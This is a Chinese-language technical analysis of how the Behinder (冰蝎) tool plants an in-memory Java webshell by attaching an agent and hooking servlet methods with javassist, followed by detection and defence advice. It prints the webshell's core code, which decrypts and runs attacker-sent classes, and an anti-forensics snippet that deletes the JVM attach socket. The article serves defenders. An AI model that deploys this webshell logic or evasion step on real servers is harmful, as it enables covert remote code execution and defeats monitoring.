冰蝎内存webshell注入和防检测分析
字数 1690 2025-08-09 18:44:06

冰蝎内存Webshell注入与防检测机制深度分析

一、概述

冰蝎客户端在内存Webshell注入方面采用了独特的机制,与传统的Godzilla等工具不同,它通过Instrumentation + javaassist技术实现对HTTP相关类的hook操作,实现了无新类加载的内存Webshell注入。本文将从技术原理、实现细节和防御机制三个方面进行深入分析。

二、技术原理

1. 整体流程

  1. 客户端获取目标系统信息
  2. 上传恶意JAR包到目标服务器临时目录
  3. 通过Loader类将JAR包添加到URLClassLoader搜索路径
  4. 使用Java Instrumentation机制加载Agent
  5. Agent通过javaassist修改关键HTTP处理类的方法
  6. 注入的代码拦截HTTP请求并处理特定路径的请求

2. 与传统内存马的对比

技术 传统内存马 冰蝎内存马
实现方式 添加Servlet/Filter Hook现有类方法
类加载 加载新类 不加载新类
检测难度 较易(可通过新类检测) 较难(无新类特征)
兼容性 依赖特定容器 通用性更强

三、详细实现分析

1. 客户端注入流程

  1. 信息收集阶段

    • 从本地数据库获取或通过baseinfo payload获取目标系统信息
    • 确定临时目录路径:
      • Linux: /tmp/{随机字符}
      • Windows: c:/windows/temp/{随机字符}
  2. 文件上传与加载

    • 上传对应操作系统的JAR包(tools_0.jar等)
    • 通过Loader类实现加载:
    URLClassLoader.addURL(new URL(libPath));
    
  3. Agent注入

    VirtualMachine.attach(pid);
    VirtualMachine.loadAgent(libpath, "path|password");
    

2. Agent核心逻辑

  1. agentmain方法

    • 初始化关键变量:
      • classes: 所有已加载类
      • targetClasses: 不同中间件的Request/Response类名
      • shellCode: 内存Webshell代码
  2. 类查找与修改

    • 遍历已加载类匹配targetClasses
    • 从参数解析URL和password
    • 动态修改shellCode中的import语句
  3. 方法Hook

    • 使用javaassist在以下方法前插入代码:
      • ServletRequest#service
      • ServletResponse#service
      • Weblogic的execute方法

3. ShellCode分析

核心功能代码:

if (request.getRequestURI().matches(pathPattern)) {
    // 初始化加密相关对象
    Cipher c = Cipher.getInstance("AES");
    SecretKeySpec keyObj = new SecretKeySpec(k.getBytes(), "AES");
    c.init(Cipher.DECRYPT_MODE, keyObj);
    
    // 处理请求体
    byte[] requestBody = Base64.decode(request.getReader().readLine());
    byte[] buf = c.doFinal(requestBody);
    
    // 动态加载并执行解密后的类
    Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass", 
        String.class, ByteBuffer.class, ProtectionDomain.class);
    ClassLoader cl = new SecureClassLoader(loader);
    Class c = (Class)defineMethod.invoke(cl, null, ByteBuffer.wrap(buf), null);
    c.newInstance().equals(obj);
}

四、防检测机制

1. 防检测原理

冰蝎通过删除/tmp/.java_pid{pid}文件实现防检测:

  1. 该文件是JVM attach机制在Linux上使用的Unix domain socket
  2. 删除后其他工具无法再attach到同一JVM进程
  3. 已注入的Agent不受影响,继续运行

2. 实现代码

if (osInfo.indexOf("windows") < 0 && 
    osInfo.indexOf("winnt") < 0 && 
    osInfo.indexOf("linux") >= 0 && 
    antiAgent) {
    String fileName = "/tmp/.java_pid" + getCurrentPID();
    (new File(fileName)).delete();
}

3. 影响范围

  1. 仅阻止后续Agent注入
  2. 不影响已注入的Agent
  3. 仅对Linux系统有效

五、检测与防御建议

1. 检测方法

  1. 文件检测

    • 检查临时目录中的可疑JAR文件
    • 监控/tmp/.java_pid*文件的异常删除
  2. 内存检测

    • 扫描被修改的HTTP处理类
    • 检查关键方法中的代码注入
  3. 行为检测

    • 监控异常的ClassLoader行为
    • 检测反射调用加密解密操作

2. 防御建议

  1. 预防措施

    • 限制JVM的attach能力:-Djdk.attach.allowAttachSelf=false
    • 监控和限制临时目录的写入
  2. 运行时防护

    • 使用RASP解决方案监控关键类修改
    • 部署WAF拦截特征请求
  3. 加固措施

    • 定期重启关键服务
    • 使用完整性校验工具检查核心类

六、总结

冰蝎内存Webshell技术代表了当前内存马技术的先进方向,其主要特点包括:

  1. 无新类加载:通过hook现有类方法实现,规避传统检测手段
  2. 高兼容性:适配多种中间件和Java版本
  3. 防检测机制:利用JVM机制阻止后续检测工具注入

防御此类高级内存马需要采用多层次、多维度的防护策略,结合静态检测和运行时防护,才能有效应对不断演进的内存马技术。

冰蝎内存Webshell注入与防检测机制深度分析 一、概述 冰蝎客户端在内存Webshell注入方面采用了独特的机制,与传统的Godzilla等工具不同,它通过Instrumentation + javaassist技术实现对HTTP相关类的hook操作,实现了无新类加载的内存Webshell注入。本文将从技术原理、实现细节和防御机制三个方面进行深入分析。 二、技术原理 1. 整体流程 客户端获取目标系统信息 上传恶意JAR包到目标服务器临时目录 通过Loader类将JAR包添加到URLClassLoader搜索路径 使用Java Instrumentation机制加载Agent Agent通过javaassist修改关键HTTP处理类的方法 注入的代码拦截HTTP请求并处理特定路径的请求 2. 与传统内存马的对比 | 技术 | 传统内存马 | 冰蝎内存马 | |------|------------|------------| | 实现方式 | 添加Servlet/Filter | Hook现有类方法 | | 类加载 | 加载新类 | 不加载新类 | | 检测难度 | 较易(可通过新类检测) | 较难(无新类特征) | | 兼容性 | 依赖特定容器 | 通用性更强 | 三、详细实现分析 1. 客户端注入流程 信息收集阶段 从本地数据库获取或通过baseinfo payload获取目标系统信息 确定临时目录路径: Linux: /tmp/{随机字符} Windows: c:/windows/temp/{随机字符} 文件上传与加载 上传对应操作系统的JAR包(tools_ 0.jar等) 通过Loader类实现加载: Agent注入 2. Agent核心逻辑 agentmain方法 初始化关键变量: classes : 所有已加载类 targetClasses : 不同中间件的Request/Response类名 shellCode : 内存Webshell代码 类查找与修改 遍历已加载类匹配targetClasses 从参数解析URL和password 动态修改shellCode中的import语句 方法Hook 使用javaassist在以下方法前插入代码: ServletRequest#service ServletResponse#service Weblogic的 execute 方法 3. ShellCode分析 核心功能代码: 四、防检测机制 1. 防检测原理 冰蝎通过删除 /tmp/.java_pid{pid} 文件实现防检测: 该文件是JVM attach机制在Linux上使用的Unix domain socket 删除后其他工具无法再attach到同一JVM进程 已注入的Agent不受影响,继续运行 2. 实现代码 3. 影响范围 仅阻止后续Agent注入 不影响已注入的Agent 仅对Linux系统有效 五、检测与防御建议 1. 检测方法 文件检测 检查临时目录中的可疑JAR文件 监控 /tmp/.java_pid* 文件的异常删除 内存检测 扫描被修改的HTTP处理类 检查关键方法中的代码注入 行为检测 监控异常的ClassLoader行为 检测反射调用加密解密操作 2. 防御建议 预防措施 限制JVM的attach能力: -Djdk.attach.allowAttachSelf=false 监控和限制临时目录的写入 运行时防护 使用RASP解决方案监控关键类修改 部署WAF拦截特征请求 加固措施 定期重启关键服务 使用完整性校验工具检查核心类 六、总结 冰蝎内存Webshell技术代表了当前内存马技术的先进方向,其主要特点包括: 无新类加载 :通过hook现有类方法实现,规避传统检测手段 高兼容性 :适配多种中间件和Java版本 防检测机制 :利用JVM机制阻止后续检测工具注入 防御此类高级内存马需要采用多层次、多维度的防护策略,结合静态检测和运行时防护,才能有效应对不断演进的内存马技术。